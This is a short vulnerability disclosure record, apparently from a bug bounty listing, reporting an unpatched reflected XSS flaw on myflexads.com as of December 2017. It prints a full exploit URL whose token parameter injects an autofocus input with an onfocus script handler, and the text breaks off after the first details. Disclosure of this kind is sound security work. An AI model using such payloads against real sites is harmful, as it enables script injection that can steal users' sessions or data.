myflexads.com XSS vulnerability

Vulnerable URL: http://www.myflexads.com/fba/inquiry.php?fbatoken=1%3C!%27/!%22/!%27/%22/--!%3E%3CInput/Type=Text%20AutoFocus%20/;%20OnFocus=confirmOPENBUGBOUNTY%20//%3E%3CSvg%3Ead=user=key=22761 Details: Description| Value ---|--- Patched:| No Latest check for patch:| 21.12.2017 Vulnerability...